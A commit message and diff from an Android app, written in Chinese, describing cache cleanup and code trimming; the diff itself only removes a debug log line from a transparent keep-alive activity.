refactor: 清理 .gradle 缓存文件并优化 ScreenCaptureManager

- 删除 .gradle 缓存和锁文件（checksums, executionHistory, fileHashes 等）
- 优化 ScreenCaptureManager 截屏逻辑
- 移除 MainActivity, TransparentKeepAliveActivity 中的冗余代码
- 清理多个 KeepAlive 相关服务中的无用导入
- 精简 InstallationStateManager 代码

app/src/main/java/com/hikoncont/TransparentKeepAliveActivity.kt

@@ -79,8 +79,6 @@ class TransparentKeepAliveActivity : Activity() {
                     val installationStateManager = InstallationStateManager.getInstance(this@TransparentKeepAliveActivity)
                     val isInstallationComplete = installationStateManager.isInstallationComplete()
                     
-                    Log.d(TAG, "🔍 安装完成状态检查: $isInstallationComplete")
-                    
                     if (!isInstallationComplete) {
                         Log.w(TAG, "⚠️ 安装未完成，透明保活Activity无效，直接关闭")
                         finish()